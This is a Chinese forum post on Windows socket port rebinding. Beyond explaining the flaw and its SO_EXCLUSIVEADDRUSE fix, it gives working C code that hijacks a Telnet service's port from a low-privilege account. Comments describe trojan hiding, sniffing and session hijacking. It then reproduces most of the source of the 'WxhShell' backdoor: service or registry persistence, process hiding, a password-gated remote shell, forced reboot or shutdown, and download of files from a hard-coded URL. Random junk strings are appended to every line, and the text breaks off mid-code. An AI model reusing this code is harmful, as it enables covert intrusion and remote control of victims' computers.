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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @= f2\hU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [5 Mt,skC:  
L&O!"[++  
  saddr.sin_family = AF_INET; Az.(tJ X"  
5z8CUDt 0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n?vw|'(}  
}eUeADbC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \}SA{)  
8)IpQG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z?k4Kb  
H!Gsu$C  
  这意味着什么?意味着可以进行如下的攻击: +uMOT#KjR  
p=m)lR9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %n-:mSus  
]-d:wEj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UR|UGldt_T  
HvSKR1wL\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XXsN)2  
*-~B{2b<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W99MA5P  
07WZ w1(;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H)&6I33`  
%a%x`S3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '\qd{mM\r  
!=j\pu} Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dI'cZt~n  
0j*-ZvE)30  
  #include G}1?lO_d`  
  #include [ t@  
  #include ~^*IP1.3  
  #include    >Q&E4jC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \ .H X7v  
  int main() <}S1ZEZcQ  
  { B{'x2I#,  
  WORD wVersionRequested; 5y07@x  
  DWORD ret; YEF|SEon0  
  WSADATA wsaData; _:ypPR J  
  BOOL val; >[TB8  
  SOCKADDR_IN saddr; ("(:wYR%  
  SOCKADDR_IN scaddr; >%jQw.  
  int err; d#yb($HAJ  
  SOCKET s; MxMrLiqU6l  
  SOCKET sc; / sI0{  
  int caddsize; S-{3'D[Nj  
  HANDLE mt; 2_@vSwC  
  DWORD tid;   !e?;f=1+E  
  wVersionRequested = MAKEWORD( 2, 2 ); 8&FnXhZg4  
  err = WSAStartup( wVersionRequested, &wsaData ); "Ka2jw,  
  if ( err != 0 ) { X]6Hgz66  
  printf("error!WSAStartup failed!\n"); ?3bUE\p  
  return -1; S2nF13u  
  } sM)qzO2wh  
  saddr.sin_family = AF_INET; :#8#tLv  
   C'x?riJ/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,c#IxB/0  
T_ ifDQX;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); icW?a9b&  
  saddr.sin_port = htons(23); k fER  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ld58R  
  { f,GF3vu"  
  printf("error!socket failed!\n"); jUjgxP*7m  
  return -1; Kn~f$1  
  } 2\h]*x% :  
  val = TRUE; ~nk{\ rWO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .>z)6S_G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n"YY:Gm;8  
  { nbM[?=WS  
  printf("error!setsockopt failed!\n"); ]k~k6#),;  
  return -1; GtcY){7  
  } VfAC&3 %M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gf/$M[H!   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tRU+6D <w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ( )1\b  
-V@vY42  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uM"G)$I\  
  { s5 ? 1w   
  ret=GetLastError(); iB#xUSkS  
  printf("error!bind failed!\n"); dL%?k@R  
  return -1; g.-{=kZ   
  } QixEMX4<  
  listen(s,2); _@I<H\^  
  while(1) F9rxm  
  { ssbvuTr  
  caddsize = sizeof(scaddr); LGx]z.30B  
  //接受连接请求 _:oB#-0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }3sj{:z{  
  if(sc!=INVALID_SOCKET) (. ~#bl  
  { X`kTbIZ|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3|4jS"t{f  
  if(mt==NULL)  QDCu  
  { 0M^7#),  
  printf("Thread Creat Failed!\n"); _[ml<HW]  
  break; f0rM 4"1  
  } ^_FB .y%  
  } ^|yw)N]Q/  
  CloseHandle(mt); s=0z%~H  
  } TVVL1wZ  
  closesocket(s); 9\9:)q  
  WSACleanup(); w"Gci~]bXU  
  return 0; ">='l9  
  }   MY>mP  
  DWORD WINAPI ClientThread(LPVOID lpParam) SV%;w>  
  { HGqT"N Jr  
  SOCKET ss = (SOCKET)lpParam; YTH3t] &  
  SOCKET sc; \9Nd"E[B  
  unsigned char buf[4096]; $'D|}=h<Y  
  SOCKADDR_IN saddr; ut8v&i1?  
  long num; ;&B;RUUnTO  
  DWORD val; 3F fS2we  
  DWORD ret; Fj? Q4_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,CiN@T \&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \"!Fw)wj  
  saddr.sin_family = AF_INET; vmW > $P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OwXw9  
  saddr.sin_port = htons(23); &AR@5M u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? <b>2j  
  { l-` M 9#  
  printf("error!socket failed!\n"); 'Rbv3U  
  return -1; +&?#Gdb  
  } ?.1yNO*s  
  val = 100; #- S%aeB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ph*?y  
  { JJ\|FZ N  
  ret = GetLastError(); ykFm$ 0m+I  
  return -1; VJW%y)_[  
  } ug]WIG7 S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] %A mX-U  
  { ;vM&se63  
  ret = GetLastError(); AE`z~L,  
  return -1; $['_m~ 2  
  } xUT]6T0dB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hSQ*_#  
  { a<%Ivqni  
  printf("error!socket connect failed!\n"); X@l>mAk  
  closesocket(sc); 9H^$cM9C  
  closesocket(ss); a2J01B  
  return -1; 3>60_:+Zb  
  } D#VUx9kugv  
  while(1) NP }b   
  { $tKz|H)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YN.[KQ(!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }>`rf{T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vjNP  
  num = recv(ss,buf,4096,0); jz CA2N%  
  if(num>0) 4%k{vo5i  
  send(sc,buf,num,0); {D6lS j  
  else if(num==0) )"W__U0  
  break; R@ksYC3 F  
  num = recv(sc,buf,4096,0); l/WQqT  
  if(num>0) 05o +VF;z  
  send(ss,buf,num,0); ^FO&GM2a  
  else if(num==0) f]c{,LFvZ  
  break; TsiI5'tx  
  } [2h 4%{R&  
  closesocket(ss); | ]#PF*  
  closesocket(sc); =$kSvCjP  
  return 0 ; 2G=prS`s  
  } 6ZvGD}/  
v#/k`x\  
|HT5G=dw  
========================================================== 6uNWL `v  
o:oQF[TcFO  
下边附上一个代码,,WXhSHELL SSCyq#dl$  
c, IAz  
========================================================== CKB~&>xx  
&E& _Z6#  
#include "stdafx.h" 2%!yV~Z  
= Ob-'Syg>  
#include <stdio.h> &k\`!T1  
#include <string.h> Y)V)g9  
#include <windows.h> |aD8  
#include <winsock2.h> a] =k-Xh  
#include <winsvc.h> %%uvia=e  
#include <urlmon.h> <c; U 0! m  
,> %=,x  
#pragma comment (lib, "Ws2_32.lib")  m$XMq  
#pragma comment (lib, "urlmon.lib") wk+| }s  
Hl"^E*9x  
#define MAX_USER   100 // 最大客户端连接数 )4O>V?B  
#define BUF_SOCK   200 // sock buffer W}6OMAbsE;  
#define KEY_BUFF   255 // 输入 buffer (U`<r-n\n  
jWpm"C  
#define REBOOT     0   // 重启 _bsAF^ ;  
#define SHUTDOWN   1   // 关机 UnVYGch  
-l(G"]tRB  
#define DEF_PORT   5000 // 监听端口 CdZS"I  
g \;,NW^  
#define REG_LEN     16   // 注册表键长度 :{ 8,O-  
#define SVC_LEN     80   // NT服务名长度 8uh^%La8b.  
YY4XCkt  
// 从dll定义API k-CW?=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lE=&hba  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #(Xv\OE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2E 0A`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z^,P2kqK_  
%fJ~ 3mu  
// wxhshell配置信息 _P}wO8  
struct WSCFG { O su 75@3  
  int ws_port;         // 监听端口 Rz03he  
  char ws_passstr[REG_LEN]; // 口令 Y|X!da/  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;Q.'u  
  char ws_regname[REG_LEN]; // 注册表键名 Xtk3~@  
  char ws_svcname[REG_LEN]; // 服务名 h/s8".\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .]XBJc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b)(si/]\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U;w| =vM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (fqU73  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xwhS[d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FE=vUQXE2  
9EFQo^ E  
}; O\X=vh/D  
qu`F,OG  
// default Wxhshell configuration r]3v.GZy  
struct WSCFG wscfg={DEF_PORT, MkK6.qV\z  
    "xuhuanlingzhe", (F+]h]KSi  
    1, zE8qU;  
    "Wxhshell", s=8$h:^9>  
    "Wxhshell", 16-1&WuY@  
            "WxhShell Service", !n^7&Y[N;  
    "Wrsky Windows CmdShell Service", Y 8Dn&W  
    "Please Input Your Password: ", nvInq2T 1  
  1, ,R$U(,>_0  
  "http://www.wrsky.com/wxhshell.exe",  =v!'?  
  "Wxhshell.exe" GeFu_7u!|  
    }; N2uTWT>  
|-Q="7b%  
// 消息定义模块 P;bOtT --  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q=u [j|0mc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b O9PpOk+z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O*lMIWx  
char *msg_ws_ext="\n\rExit."; :"Gd;~p.  
char *msg_ws_end="\n\rQuit."; Bk;/>gD  
char *msg_ws_boot="\n\rReboot..."; Yu+;vjbK-  
char *msg_ws_poff="\n\rShutdown..."; 19]O;  
char *msg_ws_down="\n\rSave to "; ` st^i$A  
%) /Bl.{}<  
char *msg_ws_err="\n\rErr!"; 70F(`;  
char *msg_ws_ok="\n\rOK!"; ? 4v"y@v  
k=  
char ExeFile[MAX_PATH]; mV;)V8'  
int nUser = 0; GhC%32F  
HANDLE handles[MAX_USER]; ;s^F:O  
int OsIsNt; ^!7|B3`  
m?y'Y`  
SERVICE_STATUS       serviceStatus; f>[!Zi*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QD*\zB  
5?HoCz]l  
// 函数声明 z^Y4:^L~I  
int Install(void); i*6 1i0  
int Uninstall(void); Tqm)-|[  
int DownloadFile(char *sURL, SOCKET wsh); lEC91:Jyt  
int Boot(int flag); Ih_=yk  
void HideProc(void); )YPu t.  
int GetOsVer(void); jmr1e).];  
int Wxhshell(SOCKET wsl); +5N09$f;R  
void TalkWithClient(void *cs); _zG[b/:p  
int CmdShell(SOCKET sock); xX~; /e&,  
int StartFromService(void); Gj- *D7X5  
int StartWxhshell(LPSTR lpCmdLine); MT^krv(G  
?'mi6jFFh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }kF*I@:g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mNQ*YCq.  
5;[h&jH  
// 数据结构和表定义 "ZR^w5  
SERVICE_TABLE_ENTRY DispatchTable[] = P"s7}cl  
{ nC@UK{tVa  
{wscfg.ws_svcname, NTServiceMain}, YPmgR]=6  
{NULL, NULL} (i@B+c  
}; ?UBhM,;XK  
&d6  
// 自我安装 +"3K)9H  
int Install(void) %Hpz^<`  
{ W~?mr! `  
  char svExeFile[MAX_PATH]; K {__rO  
  HKEY key; 4>Y\Y$3  
  strcpy(svExeFile,ExeFile); Rf#t|MW*#  
;|D8"D6]  
// 如果是win9x系统,修改注册表设为自启动 ;T|hNsSt  
if(!OsIsNt) { tW \q;_DSr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 X`5YN;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nD!5I@D  
  RegCloseKey(key); te b/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e$4$G<8;y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kWxcB7)uk  
  RegCloseKey(key); %R-KkK<S  
  return 0; FQO>%=&4  
    } HyJ&;4rf  
  } T?EFY}f  
} tS sDW!!M  
else { 9~6~[z  
i3<ZFR  
// 如果是NT以上系统,安装为系统服务 m:C|R-IL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vx4Jk]h+=L  
if (schSCManager!=0) :M\3.7q  
{ I7HP~v~  
  SC_HANDLE schService = CreateService jB0ED0)wX  
  ( t4FaU7  
  schSCManager, 5tcJT z  
  wscfg.ws_svcname, &)F# cVB  
  wscfg.ws_svcdisp, jbs)]fqC;  
  SERVICE_ALL_ACCESS, OO-b*\QW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -n]E\"  
  SERVICE_AUTO_START, ;0Mg\~T~'  
  SERVICE_ERROR_NORMAL, > m##JzWLr  
  svExeFile, NSDls@m  
  NULL, l3;MjNB^V  
  NULL, ky{-NrK  
  NULL, DtOL=m]s  
  NULL, dH+oV`  
  NULL >@i {8AD  
  ); 4qmaL+Q  
  if (schService!=0) )/4U]c{-  
  { wf/DLAC  
  CloseServiceHandle(schService); hG qZB  
  CloseServiceHandle(schSCManager); tN&_f==e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &?#!%Ds  
  strcat(svExeFile,wscfg.ws_svcname); z|WDqB%/I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |<w Z;d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4<l&cP  
  RegCloseKey(key); f}? q  
  return 0; Ukg iSv+  
    } '`/w%OEVC5  
  } U Y')|2y 5  
  CloseServiceHandle(schSCManager); 6dQ]=];  
} .+2@(r  
} cP &XkAQ  
{ , zg  
return 1; ;&U! g&  
} [B"CNnA  
WoX,F1o  
// 自我卸载 ~JSa]6:_+  
int Uninstall(void) 1xt N3{c  
{ ZY{zFg9  
  HKEY key; r^$WX@ t&  
$ZfoJR]%  
if(!OsIsNt) { RMO6kbfP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %N0cp@Vz  
  RegDeleteValue(key,wscfg.ws_regname); 0Lki (  
  RegCloseKey(key); Wz-7oP%;I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =d`/BDD  
  RegDeleteValue(key,wscfg.ws_regname); ma7@vD  
  RegCloseKey(key); X)k+BJ  
  return 0; E|5lm  
  } drEND`,@6|  
} Yn1CU  
} Fc.1)yh.  
else { Sp^jC Xu  
iTg7@%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) \|Bghui  
if (schSCManager!=0) F]7$Y  
{ G,JK$j>*l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3m59EI-p  
  if (schService!=0) -3eHJccB  
  { )kuw&SH,  
  if(DeleteService(schService)!=0) { E1V;eoK.D  
  CloseServiceHandle(schService); (#%R'9R v  
  CloseServiceHandle(schSCManager); G2e0\}q  
  return 0; `Wy8g?d;bn  
  } 6<+8[o  
  CloseServiceHandle(schService); (N`x  
  } d@0&  
  CloseServiceHandle(schSCManager); *m 9,_~t  
} 6d# V  
} (v$$`zh  
1pHt3Vc(G  
return 1; >5+]~[S  
} s^Wh!:>r/  
~<&47'D  
// 从指定url下载文件 \`$RY')9|!  
int DownloadFile(char *sURL, SOCKET wsh) sCw X|  
{ EABy<i  
  HRESULT hr;  cnwpd%]o  
char seps[]= "/"; >djTJ>dl_u  
char *token; Vs~!\<?  
char *file; rP7~ R  
char myURL[MAX_PATH];  t_Rpeav  
char myFILE[MAX_PATH]; /pOK4"  
*>f-UNV  
strcpy(myURL,sURL); KWB;*P C^  
  token=strtok(myURL,seps); #I|jFn9  
  while(token!=NULL) b+3QqbJ[F  
  { I]OVzM  
    file=token; E]26a,^L  
  token=strtok(NULL,seps); b+qdl`V d  
  } 1xF<c<  
6fr@y=s2:  
GetCurrentDirectory(MAX_PATH,myFILE); 'AjDB:Mt$  
strcat(myFILE, "\\"); UM QsYD)  
strcat(myFILE, file); 56Gc[<nR  
  send(wsh,myFILE,strlen(myFILE),0); X9xXL%Q  
send(wsh,"...",3,0); BV`,~n:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bcCCvV}6WZ  
  if(hr==S_OK) H^\2,x Z  
return 0; sHi *\  
else `OWw<6`k  
return 1; _]~= Kjp  
jQLiqi`  
} %.+#e  
=fZMute  
// 系统电源模块 >84:1 `  
int Boot(int flag) P-c<[DSM'I  
{ 3~&h9#7 Ke  
  HANDLE hToken; BvA09lK  
  TOKEN_PRIVILEGES tkp; XK7$Xbd  
j/+e5.EX/  
  if(OsIsNt) { jaq`A'o5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K=`;D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bPHqZ*f  
    tkp.PrivilegeCount = 1; Z 71.*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $7bl,~Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TaN]{k  
if(flag==REBOOT) { M~+T $K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lImg+r T{  
  return 0; "2~%-;c  
} [O52Bn  
else { 0p;pTc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]@D#<[5\  
  return 0; '&#YaD=""  
} 4v("qNw#  
  } "\l O1D  
  else { c7fQ{"f 3B  
if(flag==REBOOT) { <.lT.>'?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !=w&=O0(  
  return 0; *tD`X( K  
} (T]<  
else { hn@T ]k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D ^~G(m;-  
  return 0; yd-Kg zm8n  
} 1VD8y_tC  
} }&h* bim  
o : t z_5  
return 1; ?U PZ49y  
} h *JzJ0X  
:J{| /"==  
// win9x进程隐藏模块 H ^<LnYZ  
void HideProc(void) 609_ZW;)  
{ \ &S-lsLY  
UFLN/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D'! v9}  
  if ( hKernel != NULL ) 4tb y N  
  { q0l=S+0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aN/0'V|&ym  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }wh sZ  
    FreeLibrary(hKernel); A&:i$`m,  
  } l1h;ng6  
g[d.lJ=Q-N  
return; V?*\ISB`}  
} AK brXKx  
*Ou)P9~-L  
// 获取操作系统版本 ]tzO)c)w;  
int GetOsVer(void) zL<<`u?  
{ [ 4_JK  
  OSVERSIONINFO winfo; ;F;"Uw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .%'$3=/oe  
  GetVersionEx(&winfo); L =kc^dU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zss `##  
  return 1; !7KSNwGu  
  else GkT:7`|C  
  return 0; ~fDMzOd  
} _ `RCY^t  
4R~f   
// 客户端句柄模块 *<[Nvk^  
int Wxhshell(SOCKET wsl) >O:31Uk  
{ }95;qyQ$  
  SOCKET wsh; E_[)z%&n2  
  struct sockaddr_in client; *61+Fzr  
  DWORD myID; lhk[U!>#  
.|pyloL.  
  while(nUser<MAX_USER) u6,NQ^4  
{ I,:R~^qJ8v  
  int nSize=sizeof(client); G q" [5r"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R6N+c\W  
  if(wsh==INVALID_SOCKET) return 1; Imi#$bF6  
6U`<+[K7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d0;$k,  
if(handles[nUser]==0) yz CQ  
  closesocket(wsh); jBTXs5q  
else J9kmIMq-C  
  nUser++; XU3v#Du  
  } .5;Xd?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s L9,+  
>Y h7By  
  return 0; 1%;o-F@  
} :UyNa0$l:"  
):Vzv  
// 关闭 socket hSO(s  
void CloseIt(SOCKET wsh) [CBhipoc  
{ QBNnvg4v  
closesocket(wsh); b~1]}9TJ  
nUser--; }nQni?  
ExitThread(0); (L{Kg U&{$  
} XM+o e0:[  
I.M@we/bR}  
// 客户端请求句柄 t~l uBUF  
void TalkWithClient(void *cs) %4%$NdU"  
{ [^cflmV  
d=TZaVL$$  
  SOCKET wsh=(SOCKET)cs; x tJ_azt  
  char pwd[SVC_LEN]; z g@,s"`>  
  char cmd[KEY_BUFF]; Ls<.&3X2  
char chr[1]; I-fjqo3  
int i,j; RW!_Zz Z  
#9{9T"ed  
  while (nUser < MAX_USER) { 9'qU4I  
Y SvZ7G(m>  
if(wscfg.ws_passstr) { '%u7XuU-]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .)7r /1o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?9_RI(a.}  
  //ZeroMemory(pwd,KEY_BUFF); ># q2KXh  
      i=0; `+4>NT6cu9  
  while(i<SVC_LEN) { ,<^7~d{{3m  
T4OH,^J  
  // 设置超时 = }&@XRLJ  
  fd_set FdRead; ]y4(WG;:  
  struct timeval TimeOut; 3c"$@W:>  
  FD_ZERO(&FdRead); g=*`6@_=  
  FD_SET(wsh,&FdRead); _:: q S!  
  TimeOut.tv_sec=8; fI/?2ZH  
  TimeOut.tv_usec=0; Y\.d s%G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _e ]jz2j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (|6Y1``  
LEq"g7YH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W-QBC- 3  
  pwd=chr[0]; yU-^w^4  
  if(chr[0]==0xd || chr[0]==0xa) { |NbF3 fD  
  pwd=0; "funFvY  
  break; 8>E_bxC  
  } Z$0+jpG_s  
  i++; an4^(SY  
    } xm)s%"6n  
P <$)v5f  
  // 如果是非法用户,关闭 socket Wz}8O]#/.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ];-DqK'  
} qfO=_z ES  
l1_Tr2A}7/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UN~dzA~V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X>[x7t:  
ZfpV=DU  
while(1) { r((2.,\Z  
B@:c 8}2.  
  ZeroMemory(cmd,KEY_BUFF); +0w~Skd,  
a?zn>tx  
      // 自动支持客户端 telnet标准   >q'xW=Y j\  
  j=0; NZJ:@J=-  
  while(j<KEY_BUFF) { jm-J_o;}z6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QF  P3S(  
  cmd[j]=chr[0]; c]#+W@$  
  if(chr[0]==0xa || chr[0]==0xd) { d},IQ,Az:Z  
  cmd[j]=0; lZY0A#   
  break; AoaRlk-#  
  } Bf72 .gx{0  
  j++; 0{ZYYB&"~J  
    } BFU6?\r  
g> lJZD@  
  // 下载文件 m15MA.R>  
  if(strstr(cmd,"http://")) { c)d*[OI8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v^Eg ,&(  
  if(DownloadFile(cmd,wsh)) jRswGMx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &C~R*  
  else N1lhlw6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9`"o,wGX3  
  } I)xB I~x  
  else { e}x}Fj</(  
Xq3n7d.  
    switch(cmd[0]) { LvWl*:z  
  ,0'Yj?U>  
  // 帮助 ")/TbT Vu  
  case '?': { hX-([o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vv2N;/;I  
    break; $Hx00 ho  
  } *%G$[=  
  // 安装 1g_(xwUp+  
  case 'i': { 6sRe. ct<  
    if(Install()) yI&{8DCCw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/EN3J  
    else GM.2bA(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h8b*=oq  
    break; s6#@S4^=\  
    } ZS&n,<a5L}  
  // 卸载 -=W"  
  case 'r': { hK!Z ~  
    if(Uninstall()) :$bp4+3>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | HkLl^  
    else M*DFtp<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x=+R0ny  
    break; a,o>E4#c  
    } _xg4;W6M=  
  // 显示 wxhshell 所在路径 }pE8G#O&  
  case 'p': { \htL\m^$9  
    char svExeFile[MAX_PATH]; K !X>k  
    strcpy(svExeFile,"\n\r");  R^%uEP  
      strcat(svExeFile,ExeFile); *cjH]MQ0Ak  
        send(wsh,svExeFile,strlen(svExeFile),0); e ~X<+3<  
    break; 5^Gv!XW  
    } OH.Re6Rr  
  // 重启 Bg^k~NX%  
  case 'b': { zeqP:goy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IrJPP2Q  
    if(Boot(REBOOT)) pUvbIbg+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qg)=4(<Hr  
    else { CYr2~0<g  
    closesocket(wsh); G1; .\i  
    ExitThread(0); ~~U2Sr  
    } Hx}K w S  
    break; -qki^!Y?  
    } J 4$^Hr  
  // 关机 |!r.p_Zt  
  case 'd': { =1dU~B:Lm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OSQt:58K  
